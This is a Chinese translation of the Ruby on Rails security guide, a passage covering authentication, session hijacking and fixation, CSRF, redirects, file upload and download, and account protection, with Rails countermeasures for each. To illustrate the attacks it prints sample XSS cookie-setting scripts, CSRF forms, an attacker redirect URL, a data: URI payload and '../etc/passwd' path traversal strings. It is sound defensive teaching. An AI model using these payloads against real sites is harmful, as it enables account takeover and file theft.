更多内容请访问 rubyonrails.org:

保护 Rails 应用程序安全

本指南介绍了 Web 应用程序中常见的安全问题以及如何使用 Rails 避免这些问题。

阅读本指南后,您将了解

  • 如何使用内置的身份验证生成器。
  • 所有**突出显示**的对策。
  • Rails 中会话的概念、其中存储的内容以及常见的攻击方法。
  • 仅访问一个站点如何成为安全问题(使用 CSRF)。
  • 在使用文件或提供管理界面时需要注意的事项。
  • 如何管理用户:登录、注销以及针对所有层的攻击方法。
  • 以及最常见的注入攻击方法。

1. 简介

Web 应用程序框架旨在帮助开发人员构建 Web 应用程序。其中一些框架还帮助您保护 Web 应用程序。实际上,一个框架并不比另一个更安全:如果您正确使用它,您将能够使用许多框架构建安全的应用程序。Ruby on Rails 有一些巧妙的辅助方法,例如防止 SQL 注入,因此这几乎不是问题。

一般来说,没有即插即用的安全性。安全性取决于使用框架的人员,有时还取决于开发方法。它还取决于 Web 应用程序环境的所有层:后端存储、Web 服务器和 Web 应用程序本身(以及可能的其他层或应用程序)。

然而,Gartner Group 估计 75% 的攻击发生在 Web 应用程序层,并发现“在 300 个经过审计的站点中,97% 容易受到攻击”。这是因为 Web 应用程序相对容易受到攻击,因为它们易于理解和操作,即使是普通人也是如此。

针对 Web 应用程序的威胁包括用户帐户劫持、绕过访问控制、读取或修改敏感数据或呈现欺诈性内容。或者攻击者可能能够安装木马程序或未经请求的电子邮件发送软件,旨在获取经济利益,或通过修改公司资源造成品牌名称损害。为了防止攻击,最大程度地减少其影响并消除攻击点,首先,您必须充分了解攻击方法才能找到正确的对策。这就是本指南的目标。

为了开发安全的 Web 应用程序,您必须及时了解所有层并了解您的敌人。为了及时了解最新信息,请订阅安全邮件列表,阅读安全博客,并养成更新和安全检查的习惯(查看额外资源章节)。这是手动完成的,因为这是您发现令人讨厌的逻辑安全问题的方式。

2. 身份验证

身份验证通常是 Web 应用程序中实现的首批功能之一。它作为保护用户数据的基础,是大多数现代 Web 应用程序的一部分。

从 8.0 版开始,Rails 提供了默认的身份验证生成器,通过仅允许经过验证的用户访问来为保护您的应用程序提供坚实的基础。

身份验证生成器添加了基本身份验证和密码重置功能所需的所有相关模型、控制器、视图、路由和迁移。

要在您的应用程序中使用此功能,您可以运行 bin/rails generate authentication。以下是生成器修改的所有文件和添加的新文件

$ bin/rails generate authentication
      invoke  erb
      create    app/views/passwords/new.html.erb
      create    app/views/passwords/edit.html.erb
      create    app/views/sessions/new.html.erb
      create  app/models/session.rb
      create  app/models/user.rb
      create  app/models/current.rb
      create  app/controllers/sessions_controller.rb
      create  app/controllers/concerns/authentication.rb
      create  app/controllers/passwords_controller.rb
      create  app/mailers/passwords_mailer.rb
      create  app/views/passwords_mailer/reset.html.erb
      create  app/views/passwords_mailer/reset.text.erb
      create  test/mailers/previews/passwords_mailer_preview.rb
        gsub  app/controllers/application_controller.rb
       route  resources :passwords, param: :token
       route  resource :session
        gsub  Gemfile
      bundle  install --quiet
    generate  migration CreateUsers email_address:string!:uniq password_digest:string! --force
       rails  generate migration CreateUsers email_address:string!:uniq password_digest:string! --force
      invoke  active_record
      create    db/migrate/20241010215312_create_users.rb
    generate  migration CreateSessions user:references ip_address:string user_agent:string --force
       rails  generate migration CreateSessions user:references ip_address:string user_agent:string --force
      invoke  active_record
      create    db/migrate/20241010215314_create_sessions.rb

如上所示,身份验证生成器修改 Gemfile 以添加 bcrypt gem。生成器使用 bcrypt gem 创建密码哈希,然后将其存储在数据库中(而不是明文密码)。由于此过程不可逆,因此无法从哈希回到密码。但是,哈希算法是确定性的,因此在身份验证期间,存储的密码可以与用户输入的密码的哈希进行比较。

生成器添加了两个用于创建 usersession 表的迁移文件。下一步是运行迁移

$ bin/rails db:migrate

然后,如果您在浏览器中访问 /session/new(您会看到此路由已添加到 routes.rb 中),您将看到一个接受电子邮件和密码并带有一个“登录”按钮的表单。此表单路由到由生成器添加的 SessionsController。如果您为数据库中存在的用户提供电子邮件/密码,您将能够使用这些凭据成功进行身份验证并登录应用程序。

运行身份验证生成器后,您确实需要实现自己的*注册流程*并添加必要的视图、路由和控制器操作。没有生成任何代码来创建新的 user 记录并允许用户首先“注册”。这是您需要根据应用程序要求进行连接的操作。

以下是修改文件列表

On branch main
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
  modified:   Gemfile
  modified:   Gemfile.lock
  modified:   app/controllers/application_controller.rb
  modified:   config/routes.rb

Untracked files:
  (use "git add <file>..." to include in what will be committed)
  app/controllers/concerns/authentication.rb
  app/controllers/passwords_controller.rb
  app/controllers/sessions_controller.rb
  app/mailers/passwords_mailer.rb
  app/models/current.rb
  app/models/session.rb
  app/models/user.rb
  app/views/passwords/
  app/views/passwords_mailer/
  app/views/sessions/
  db/migrate/
  db/schema.rb
  test/mailers/previews/

2.1. 重置密码

身份验证生成器还添加了重置密码功能。您可以在“登录”页面上看到“忘记密码?”链接。单击该链接会导航到 /passwords/new 路径并路由到密码控制器。PasswordsController 类的 new 方法会运行发送密码重置电子邮件的流程。

默认情况下,该链接有效期为 15 分钟,但这可以使用 has_secure_password 进行配置。

用于*重置密码*的邮件程序也由生成器在 app/mailers/password_mailer.rb 中设置,并渲染以下电子邮件发送给用户

# app/views/passwords_mailer/reset.html.erb
<p>
  You can reset your password within the next 15 minutes on
  <%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.
</p>

2.2. 实现细节

本节介绍了身份验证生成器添加的身份验证流的一些实现细节:has_secure_password 方法、authenticate_by 方法和 Authentication 关注点。

2.2.1. has_secure_password

has_secure_password 方法已添加到 user 模型中,并负责使用 bcrypt 算法存储哈希密码

class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy

  normalizes :email_address, with: -> e { e.strip.downcase }
end

2.2.2. authenticate_by

在创建新会话时,SessionsController 中使用 authenticate_by 方法来验证用户提供的凭据是否与该用户存储在数据库中的凭据(例如密码)匹配

class SessionsController < ApplicationController
  def create
    if user = User.authenticate_by(params.permit(:email_address, :password))
      start_new_session_for user
      redirect_to after_authentication_url
    else
      redirect_to new_session_url, alert: "Try another email address or password."
    end
  end

  # ...
end

如果凭据有效,则会为该用户创建一个新的 Session

2.2.3. 会话管理

会话管理的核心功能在 Authentication 控制器关注点中实现,该关注点包含在您的应用程序的 ApplicationController 中。您可以在源代码中探索 身份验证关注点的详细信息。

Authentication 关注点中需要注意的一个方法是 authenticated?,这是一个在视图模板中可用的辅助方法。您可以使用此方法根据用户当前是否已进行身份验证来有条件地显示链接/按钮。例如

<% if authenticated? %>
  <%= button_to "Sign Out", session_path, method: :delete  %>
<% else %>
  <%= link_to "Sign In", new_session_path %>
<% end %>

您可以在 Rails 源代码中找到身份验证生成器的所有详细信息。鼓励您探索实现细节,不要将身份验证视为一个黑盒子。

通过如上配置的身份验证生成器,您的应用程序只需几个步骤即可实现更安全的用户身份验证和密码恢复过程。

3. 会话

本章介绍了一些与会话相关的特定攻击,以及保护您的会话数据的安全措施。

3.1. 什么是会话?

会话使应用程序能够在用户与应用程序交互时保持用户特定的状态。例如,会话允许用户一次性进行身份验证,并在未来的请求中保持登录状态。

大多数应用程序需要跟踪与应用程序交互的用户的状态。这可能是购物车的内容,或者是当前登录用户的用户 ID。这种用户特定的状态可以存储在会话中。

Rails 为访问应用程序的每个用户提供一个会话对象。如果用户已经有活动会话,Rails 会使用现有会话。否则会创建一个新会话。

Action Controller 概述指南中阅读更多关于会话以及如何使用它们的信息。

3.2. 会话劫持

窃取用户的会话 ID 让攻击者可以以受害者的名义使用 Web 应用程序。

许多 Web 应用程序都有一个身份验证系统:用户提供用户名和密码,Web 应用程序检查它们并将相应的用户 ID 存储在会话哈希中。从现在开始,会话是有效的。在每个请求中,应用程序将加载由会话中的用户 ID 标识的用户,而无需新的身份验证。cookie 中的会话 ID 标识会话。

因此,cookie 充当 Web 应用程序的临时身份验证。任何劫持他人 cookie 的人都可以以该用户的身份使用 Web 应用程序——可能带来严重的后果。以下是一些劫持会话的方法及其对策

  • 在不安全的网络中嗅探 cookie。无线局域网就是一个这样的例子。在未加密的无线局域网中,监听所有连接客户端的流量尤其容易。对于 Web 应用程序构建者来说,这意味着**通过 SSL 提供安全连接**。在 Rails 3.1 及更高版本中,可以通过始终在应用程序配置文件中强制使用 SSL 连接来实现这一点

    config.force_ssl = true
    
  • 大多数人在公共终端工作后不会清除 cookie。因此,如果上次使用的用户没有从 Web 应用程序注销,您将能够以该用户的身份使用它。在 Web 应用程序中为用户提供一个**注销按钮**,并**使其显眼**。

  • 许多跨站脚本 (XSS) 漏洞旨在获取用户的 cookie。您稍后将阅读更多关于 XSS 的信息

  • 攻击者不是窃取攻击者不知道的 cookie,而是修复用户已知会话标识符(在 cookie 中)。稍后阅读更多关于这种所谓的会话固定的信息。

3.3. 会话存储

Rails 使用 ActionDispatch::Session::CookieStore 作为默认的会话存储。

Action Controller 概述指南中了解更多关于其他会话存储的信息。

Rails 的 CookieStore 将会话哈希保存在客户端的 cookie 中。服务器从 cookie 中检索会话哈希,消除了对会话 ID 的需求。这将大大提高应用程序的速度,但它是一个有争议的存储选项,您必须考虑其安全隐患和存储限制

  • Cookie 的大小限制为 4 KB。仅将 cookie 用于与会话相关的数据。

  • Cookie 存储在客户端。客户端即使对于已过期的 cookie 也可能保留其内容。客户端可以将 cookie 复制到其他机器。避免在 cookie 中存储敏感数据。

  • Cookie 本身是临时的。服务器可以设置 cookie 的过期时间,但客户端可以在此之前删除 cookie 及其内容。将所有更永久性质的数据持久化在服务器端。

  • 会话 cookie 不会自动失效,可能会被恶意重复使用。最好让您的应用程序使用存储的时间戳使旧会话 cookie 失效。

  • Rails 默认对 cookie 进行加密。客户端无法在不破坏加密的情况下读取或编辑 cookie 的内容。如果您妥善保管您的密钥,您可以认为您的 cookie 通常是安全的。

CookieStore 使用 加密的 cookie jar 来提供一个安全的、加密的位置来存储会话数据。因此,基于 cookie 的会话为其内容提供了完整性和机密性。加密密钥以及用于 签名 cookie 的验证密钥都派生自 secret_key_base 配置值。

密钥必须长且随机。使用 bin/rails secret 获取新的唯一密钥。

在本指南的后面了解有关管理凭据的更多信息

对加密和签名 cookie 使用不同的盐值也很重要。为不同的盐配置值使用相同的值可能会导致将相同的派生密钥用于不同的安全功能,这反过来可能会削弱密钥的强度。

在测试和开发应用程序中,secret_key_base 从应用程序名称派生。其他环境必须使用 config/credentials.yml.enc 中存在的随机密钥,此处以其解密状态显示

secret_key_base: 492f...

如果您的应用程序的密钥可能已泄露,请强烈考虑更改它们。请注意,更改 secret_key_base 将使当前活动的会话失效,并要求所有用户重新登录。除了会话数据:加密的 cookie、签名的 cookie 和 Active Storage 文件也可能会受到影响。

3.4. 轮换加密和签名 Cookie 配置

轮换是更改 Cookie 配置并确保旧 Cookie 不会立即失效的理想方法。然后,您的用户有机会访问您的站点,使用旧配置读取他们的 Cookie,并使用新更改重写它。一旦您确信足够多的用户有机会升级他们的 Cookie,就可以移除轮换。

可以轮换用于加密和签名 Cookie 的密码和摘要。

例如,要将用于签名 cookie 的摘要从 SHA1 更改为 SHA256,您首先需要分配新的配置值

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

现在为旧的 SHA1 摘要添加一个轮换,以便现有 cookie 无缝升级到新的 SHA256 摘要。

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

然后,任何写入的签名 cookie 都将使用 SHA256 进行摘要。使用 SHA1 写入的旧 cookie 仍然可以读取,如果访问,将使用新摘要写入,以便它们升级,并且在您删除轮换时不会失效。

一旦使用 SHA1 摘要签名 cookie 的用户不再有机会重写其 cookie,请移除轮换。

虽然您可以设置任意数量的轮换,但通常不会同时进行多个轮换。

有关加密和签名消息的密钥轮换以及 rotate 方法接受的各种选项的更多详细信息,请参阅 MessageEncryptor APIMessageVerifier API 文档。

3.5. CookieStore 会话的重放攻击

使用 CookieStore 时必须注意的另一种攻击是重放攻击。

它这样运作

  • 用户收到积分,金额存储在会话中(无论如何都是个坏主意,但我们为了演示目的这样做)。
  • 用户购买商品。
  • 新的调整后的信用值存储在会话中。
  • 用户从第一步(他们之前复制的)中取出 cookie 并替换浏览器中的当前 cookie。
  • 用户取回了他们最初的信用。

在会话中包含一次性随机数(一个随机值)可以解决重放攻击。一次性随机数只有效一次,服务器必须跟踪所有有效的一次性随机数。如果您有多个应用程序服务器,情况会变得更加复杂。将一次性随机数存储在数据库表中会违背 CookieStore 的整个目的(避免访问数据库)。

最好的**解决方案是不要将此类数据存储在会话中,而是存储在数据库中**。在这种情况下,将信用存储在数据库中,将 logged_in_user_id 存储在会话中。

3.6. 会话固定

除了窃取用户的会话 ID,攻击者还可以固定一个他们已知的会话 ID。这被称为会话固定。

Session fixation

这种攻击的重点是固定攻击者已知的用户会话 ID,并强制用户的浏览器使用此 ID。因此,攻击者之后无需窃取会话 ID。这种攻击的工作方式如下

  • 攻击者创建一个有效的会话 ID:他们加载要固定会话的 Web 应用程序的登录页面,并从响应中获取 cookie 中的会话 ID(参见图中的数字 1 和 2)。
  • 他们通过定期访问 Web 应用程序来保持会话,以使即将过期的会话保持活动状态。
  • 攻击者强制用户的浏览器使用此会话 ID(参见图中的数字 3)。由于您不能更改另一个域的 cookie(由于同源策略),攻击者必须从目标 Web 应用程序的域运行 JavaScript。通过 XSS 将 JavaScript 代码注入应用程序即可完成此攻击。这是一个例子:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。稍后阅读更多关于 XSS 和注入的信息。
  • 攻击者诱骗受害者访问包含 JavaScript 代码的受感染页面。通过查看页面,受害者的浏览器会将会话 ID 更改为陷阱会话 ID。
  • 由于新的陷阱会话未使用,Web 应用程序将要求用户进行身份验证。
  • 从现在开始,受害者和攻击者将使用相同的会话共同使用 Web 应用程序:会话变得有效,受害者没有注意到攻击。

3.7. 会话固定 - 对策

一行代码将保护您免受会话固定。

最有效的对策是**在成功登录后发布新的会话标识符**并声明旧的无效。这样,攻击者就无法使用固定的会话标识符。这也是针对会话劫持的一个很好的对策。以下是在 Rails 中创建新会话的方法

reset_session

如果您使用流行的 Devise gem 进行用户管理,它将在登录和注销时自动使会话过期。如果您自己实现,请记住在登录操作后(创建会话时)使会话过期。这将从会话中删除值,因此**您必须将它们传输到新会话中**。

另一个对策是**将会话中保存的用户特定属性**,每次请求到来时验证它们,如果信息不匹配则拒绝访问。这些属性可以是远程 IP 地址或用户代理(Web 浏览器名称),尽管后者与用户的特定性较低。保存 IP 地址时,您必须记住有些互联网服务提供商或大型组织将其用户置于代理之后。**这些在会话过程中可能会发生变化**,因此这些用户将无法使用您的应用程序,或者只能以有限的方式使用。

3.8. 会话过期

永不过期的会话会延长跨站请求伪造 (CSRF)、会话劫持和会话固定等攻击的时间范围。

一种可能性是使用会话 ID 设置 cookie 的过期时间戳。然而,客户端可以编辑存储在网络浏览器中的 cookie,因此在服务器上使会话过期更安全。以下是**如何在数据库表中使会话过期**的示例。调用 Session.sweep(20.minutes) 以使 20 分钟前使用的会话过期。

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

关于会话固定的章节介绍了会话维护的问题。攻击者每五分钟维护一次会话,可以使会话永久保持活动状态,尽管您正在使会话过期。一个简单的解决方案是在会话表中添加一个 created_at 列。现在您可以删除很久以前创建的会话。在上面的 sweep 方法中使用此行

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

4. 跨站请求伪造 (CSRF)

这种攻击方法通过在页面中包含恶意代码或链接来访问用户被认为已进行身份验证的 Web 应用程序。如果该 Web 应用程序的会话尚未超时,攻击者可能会执行未经授权的命令。

Cross-Site Request Forgery

会话章节中,您已经了解到大多数 Rails 应用程序使用基于 cookie 的会话。它们要么将会话 ID 存储在 cookie 中并具有服务器端会话哈希,要么整个会话哈希都在客户端。无论哪种情况,如果浏览器可以找到该域的 cookie,它都会在每次请求该域时自动发送 cookie。有争议的一点是,如果请求来自不同域的站点,它也会发送 cookie。让我们从一个示例开始

  • Bob 浏览一个留言板,看到一个来自黑客的帖子,其中包含一个精心制作的 HTML 图像元素。该元素引用了 Bob 的项目管理应用程序中的一个命令,而不是图像文件:<img src="http://www.webapp.com/project/1/destroy">
  • Bob 在 www.webapp.com 的会话仍然活跃,因为他几分钟前没有注销。
  • 通过查看帖子,浏览器发现了一个图像标签。它尝试从 www.webapp.com 加载可疑图像。如前所述,它也会发送带有有效会话 ID 的 cookie。
  • www.webapp.com 上的 Web 应用程序验证相应会话哈希中的用户信息并销毁 ID 为 1 的项目。然后它返回一个结果页面,这对于浏览器来说是一个意外的结果,因此它不会显示图像。
  • Bob 没有注意到这次攻击——但几天后他发现一号项目不见了。

重要的是要注意,实际的精心制作的图像或链接不一定必须位于 Web 应用程序的域中,它可以位于任何地方——论坛、博客文章或电子邮件中。

CSRF 在 CVE(常见漏洞和暴露)中很少出现——2006 年不到 0.1%——但它确实是一个“沉睡的巨人”[Grossman]。这与许多安全合同工作的结果形成鲜明对比——**CSRF 是一个重要的安全问题**。

4.1. CSRF 对策

首先,按照 W3C 的要求,适当地使用 GET 和 POST。其次,非 GET 请求中的安全令牌将保护您的应用程序免受 CSRF 攻击。

4.1.1. 适当地使用 GET 和 POST

HTTP 协议基本提供两种主要的请求类型——GET 和 POST(DELETE、PUT 和 PATCH 应该像 POST 一样使用)。万维网联盟 (W3C) 提供了一个选择 HTTP GET 或 POST 的清单

如果出现以下情况,请使用 GET

  • 交互更**像一个问题**(即,它是一个安全操作,例如查询、读取操作或查找)。

如果出现以下情况,请使用 POST

  • 交互更**像一个命令**,或
  • 交互**以用户可感知的方式更改资源的 상태**(例如,订阅服务),或
  • 用户**对交互结果负责**。

如果您的 Web 应用程序是 RESTful 的,您可能已经习惯了其他 HTTP 动词,例如 PATCH、PUT 或 DELETE。但是,一些旧版 Web 浏览器不支持它们——只支持 GET 和 POST。Rails 使用隐藏的 _method 字段来处理这些情况。

**POST 请求也可以自动发送**。在此示例中,链接 www.harmless.com 在浏览器的状态栏中显示为目的地。但它实际上动态创建了一个发送 POST 请求的新表单。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

或者攻击者将代码放入图像的 onmouseover 事件处理程序中

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

还有许多其他可能性,例如使用 <script> 标签向带有 JSONP 或 JavaScript 响应的 URL 发出跨站请求。响应是可执行代码,攻击者可以找到运行它的方法,可能会提取敏感数据。为了防止这种数据泄露,我们必须禁止跨站 <script> 标签。但是,Ajax 请求遵守浏览器的同源策略(只有您自己的站点才能发起 XmlHttpRequest),因此我们可以安全地允许它们返回 JavaScript 响应。

我们无法区分 <script> 标签的来源——无论是您自己站点上的标签还是其他恶意站点上的标签——所以我们必须全面阻止所有 <script>,即使它实际上是您自己站点提供的安全同源脚本。在这些情况下,明确跳过为 <script> 标签提供 JavaScript 的操作上的 CSRF 保护。

4.1.2. 必需的安全令牌

为了防御所有其他伪造请求,我们引入了一个**必需的安全令牌**,我们的网站知道但其他网站不知道。我们在请求中包含安全令牌并在服务器上进行验证。当 config.action_controller.default_protect_from_forgery 设置为 true 时,这是自动完成的,这是新创建的 Rails 应用程序的默认设置。您也可以通过将以下内容添加到您的应用程序控制器中手动完成

protect_from_forgery with: :exception

这将在所有由 Rails 生成的表单中包含一个安全令牌。如果安全令牌与预期不符,将抛出异常。

当使用 Turbo 提交表单时,也需要安全令牌。Turbo 在应用程序布局的 csrf meta 标签中查找令牌,并将其添加到 X-CSRF-Token 请求头部中。这些 meta 标签是使用 csrf_meta_tags 辅助方法创建的

<head>
  <%= csrf_meta_tags %>
</head>

结果是

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

从 JavaScript 发出自己的非 GET 请求时,也需要安全令牌。Rails Request.JS 是一个 JavaScript 库,它封装了添加所需请求头的逻辑。

当使用另一个库进行 Ajax 调用时,有必要自行将安全令牌添加为默认头部。要从元标签中获取令牌,您可以执行以下操作

document.head.querySelector("meta[name=csrf-token]")?.content

4.1.3. 清除持久性 Cookie

通常使用持久性 cookie 存储用户信息,例如使用 cookies.permanent。在这种情况下,cookie 不会被清除,开箱即用的 CSRF 保护将无效。如果您为此信息使用不同于会话的 cookie 存储,则必须自行处理如何处理它

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Example method that will destroy the user cookies
end

上述方法可以放置在 ApplicationController 中,并且在非 GET 请求中不存在或不正确的 CSRF 令牌时调用。

请注意,**跨站脚本 (XSS) 漏洞绕过所有 CSRF 保护**。XSS 使攻击者可以访问页面上的所有元素,因此他们可以从表单中读取 CSRF 安全令牌或直接提交表单。稍后阅读更多关于 XSS 的信息

5. 重定向和文件

另一类安全漏洞围绕 Web 应用程序中重定向和文件的使用。

5.1. 重定向

Web 应用程序中的重定向是一个被低估的破解工具:攻击者不仅可以将用户转发到陷阱网站,还可以创建自包含攻击。

只要允许用户传递(部分)用于重定向的 URL,就可能存在漏洞。最明显的攻击是将用户重定向到看起来和感觉与原始网站完全相同的假 Web 应用程序。这种所谓的钓鱼攻击通过电子邮件向用户发送一个不寻常的链接,通过 XSS 将链接注入 Web 应用程序或将链接放入外部网站来工作。它不寻常,因为链接以 Web 应用程序的 URL 开头,恶意网站的 URL 隐藏在重定向参数中:http://www.example.com/site/redirect?to=www.attacker.com。这是一个旧版操作的示例

def legacy
  redirect_to(params.update(action: "main"))
end

如果用户尝试访问旧版操作,这会将用户重定向到主操作。其目的是将 URL 参数保留到旧版操作并将其传递给主操作。但是,如果攻击者在 URL 中包含主机键,则可能会被利用

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

如果它在 URL 的末尾,它几乎不会被注意到,并将用户重定向到 attacker.com 主机。作为一般规则,将用户输入直接传递给 redirect_to 被认为是危险的。一个简单的对策是**只在旧版操作中包含预期的参数**(再次是允许列表方法,而不是删除意外参数)。**如果您重定向到 URL,请使用允许列表或正则表达式进行检查**。

5.1.1. 自包含 XSS

另一种重定向和自包含 XSS 攻击通过使用数据协议在 Firefox 和 Opera 中起作用。该协议将其内容直接显示在浏览器中,可以是 HTML 或 JavaScript,也可以是整个图像

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

此示例是一个 Base64 编码的 JavaScript,它显示一个简单的消息框。在重定向 URL 中,攻击者可以重定向到此 URL,其中包含恶意代码。作为对策,**不要允许用户提供(部分)要重定向到的 URL**。

5.2. 文件上传

确保文件上传不会覆盖重要文件,并异步处理媒体文件。

许多 Web 应用程序允许用户上传文件。**用户可能(部分)选择的文件名应始终进行过滤**,因为攻击者可以使用恶意文件名覆盖服务器上的任何文件。如果您将文件上传存储在 /var/www/uploads,并且用户输入一个文件名,如 "../../../etc/passwd",它可能会覆盖一个重要文件。当然,Ruby 解释器需要适当的权限才能这样做——这也是将 Web 服务器、数据库服务器和其他程序作为低权限 Unix 用户运行的另一个原因。

在过滤用户输入的文件名时,**不要尝试删除恶意部分**。试想一下,Web 应用程序删除了文件名中所有“../”,攻击者使用“....//”之类的字符串——结果将是“../”。最好使用允许列表方法,该方法**使用一组接受的字符检查文件名的有效性**。这与尝试删除不允许的字符的拒绝列表方法相反。如果它不是有效的文件名,请拒绝它(或替换不接受的字符),但不要删除它们。这是 attachment_fu 插件的文件名清理器

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub!(/\A.*(\\|\/)/, "")
    # Finally, replace all non-alphanumeric, underscore
    # or periods with underscore
    name.gsub!(/[^\w.-]/, "_")
  end
end

同步处理文件上传(如 attachment_fu 插件可能对图像所做的那样)的一个显著缺点是其**容易受到拒绝服务攻击**。攻击者可以从多台计算机同步启动图像文件上传,这会增加服务器负载,并可能最终导致服务器崩溃或停滞。

解决这个问题的最佳方法是**异步处理媒体文件**:保存媒体文件并在数据库中安排处理请求。第二个进程将在后台处理文件的处理。

5.3. 文件上传中的可执行代码

上传文件中的源代码在放置到特定目录时可能会被执行。如果 Rails 的 /public 目录是 Apache 的主目录,请勿将文件上传放置在该目录中。

流行的 Apache Web 服务器有一个名为 DocumentRoot 的选项。这是网站的主目录,此目录树中的所有内容都将由 Web 服务器提供服务。如果存在具有特定文件扩展名的文件,则在请求时会执行其中的代码(可能需要设置一些选项)。PHP 和 CGI 文件就是这样的例子。现在设想一种情况,攻击者上传了一个包含代码的“file.cgi”文件,当有人下载该文件时,其中的代码将被执行。

**如果您的 Apache DocumentRoot 指向 Rails 的 /public 目录,请勿将文件上传放置在该目录中**,请至少将文件存储在一个级别以上。

5.4. 文件下载

确保用户不能下载任意文件。

就像您必须过滤上传的文件名一样,您也必须过滤下载的文件名。send_file() 方法将文件从服务器发送到客户端。如果您使用用户输入的文件名而不进行过滤,则可以下载任何文件

send_file("/var/www/uploads/" + params[:filename])

只需传递一个文件名,如 "../../../etc/passwd",即可下载服务器的登录信息。一个简单的解决方案是**检查请求的文件是否在预期的目录中**

basename = File.expand_path("../../files", __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: "inline"

另一种(额外的)方法是将文件名存储在数据库中,并根据数据库中的 ID 命名磁盘上的文件。这也是一个很好的方法,可以避免上传文件中可能存在的代码被执行。attachment_fu 插件以类似的方式实现这一点。

6. 用户管理

6.1. 暴力破解账户

针对账户的暴力破解攻击是针对登录凭据的试错攻击。通过速率限制、更通用的错误消息以及可能需要输入 CAPTCHA 来抵御它们。

您的 Web 应用程序的用户名列表可能会被滥用以暴力破解相应的密码,因为大多数人不会使用复杂的密码。大多数密码是字典单词和数字的组合。因此,配备用户名列表和字典,一个自动化程序可以在几分钟内找到正确的密码。

因此,如果其中之一不正确,大多数 Web 应用程序会显示一条通用错误消息“用户名或密码不正确”。如果显示“您输入的用户名未找到”,攻击者可以自动编译用户名列表。

然而,大多数 Web 应用程序设计者忽略的是“忘记密码”页面。这些页面通常承认输入的用户名或电子邮件地址已(未)找到。这允许攻击者编译用户名列表并暴力破解账户。

为了缓解此类攻击,您可以使用速率限制。Rails 内置了 速率限制器。您可以在会话控制器中通过一行代码启用它

class SessionsController < ApplicationController
  rate_limit to: 10, within: 3.minutes, only: :create
end

有关各种参数的详细信息,请参阅 API 文档

此外,您还可以在**忘记密码页面上显示通用错误消息**。此外,您还可以在**从特定 IP 地址登录失败多次后要求输入 CAPTCHA**。

所有这些缓解技术都不是针对自动化程序的万无一失的解决方案,因为这些程序可能会同样频繁地更改其 IP 地址。但是,它提高了攻击的门槛。

6.2. 账户劫持

许多 Web 应用程序使劫持用户账户变得容易。为什么不与众不同,让它变得更困难呢?

6.2.1. 密码

设想一个情况,攻击者窃取了用户的会话 cookie,从而可以共同使用应用程序。如果更改密码很容易,攻击者只需点击几下即可劫持帐户。或者,如果更改密码表单容易受到 CSRF 攻击,攻击者将能够通过引诱受害者访问一个包含精心制作的 IMG 标签的网页来更改受害者的密码。作为对策,**使更改密码表单免受 CSRF 攻击**,当然。并且**在更改密码时要求用户输入旧密码**。

6.2.2. 电子邮件

然而,攻击者也可能通过更改电子邮件地址来接管账户。更改后,他们将转到忘记密码页面,然后(可能的新)密码将通过电子邮件发送到攻击者的电子邮件地址。作为对策,**更改电子邮件地址时也要求用户输入密码**。

6.2.3. 其他

根据您的 Web 应用程序,可能还有更多方法来劫持用户帐户。在许多情况下,CSRF 和 XSS 将有助于做到这一点。例如,就像 Google Mail 中的 CSRF 漏洞一样。在这个概念验证攻击中,受害者将被诱骗到攻击者控制的网站。该网站上有一个精心制作的 IMG 标签,导致 HTTP GET 请求更改 Google Mail 的过滤器设置。如果受害者登录了 Google Mail,攻击者将更改过滤器以将所有电子邮件转发到他们的电子邮件地址。这几乎与劫持整个帐户一样有害。作为对策,**审查您的应用程序逻辑并消除所有 XSS 和 CSRF 漏洞**。

6.3. CAPTCHA

CAPTCHA 是一种挑战-响应测试,用于确定响应不是由计算机生成的。它通常用于通过要求用户输入扭曲图像上的字母来保护注册表单免受攻击者和评论表单免受自动垃圾邮件机器人的侵害。这是正向 CAPTCHA,但也有负向 CAPTCHA。负向 CAPTCHA 的想法不是让用户证明他们是人类,而是揭示机器人是机器人。

一个流行的正向 CAPTCHA API 是 reCAPTCHA,它显示两张来自旧书的扭曲单词图像。它还添加了一条倾斜的线,而不是像早期 CAPTCHA 那样扭曲的背景和文本高度变形,因为后者已被破解。作为一个额外的好处,使用 reCAPTCHA 有助于数字化旧书。ReCAPTCHA 也是一个与 API 同名的 Rails 插件。

您将从 API 中获得两个密钥,一个公共密钥和一个私有密钥,您必须将它们放入您的 Rails 环境中。之后您可以在视图中使用 recaptcha_tags 方法,在控制器中使用 verify_recaptcha 方法。如果验证失败,verify_recaptcha 将返回 false。CAPTCHA 的问题是它们对用户体验有负面影响。此外,一些视障用户发现某些类型的扭曲 CAPTCHA 难以阅读。尽管如此,正向 CAPTCHA 仍然是防止各种机器人提交表单的最佳方法之一。

大多数机器人真的非常天真。它们在网络上爬行,并将其垃圾邮件填充到能找到的每个表单字段中。负向 CAPTCHA 利用了这一点,在表单中包含一个“蜜罐”字段,该字段通过 CSS 或 JavaScript 对人类用户隐藏。

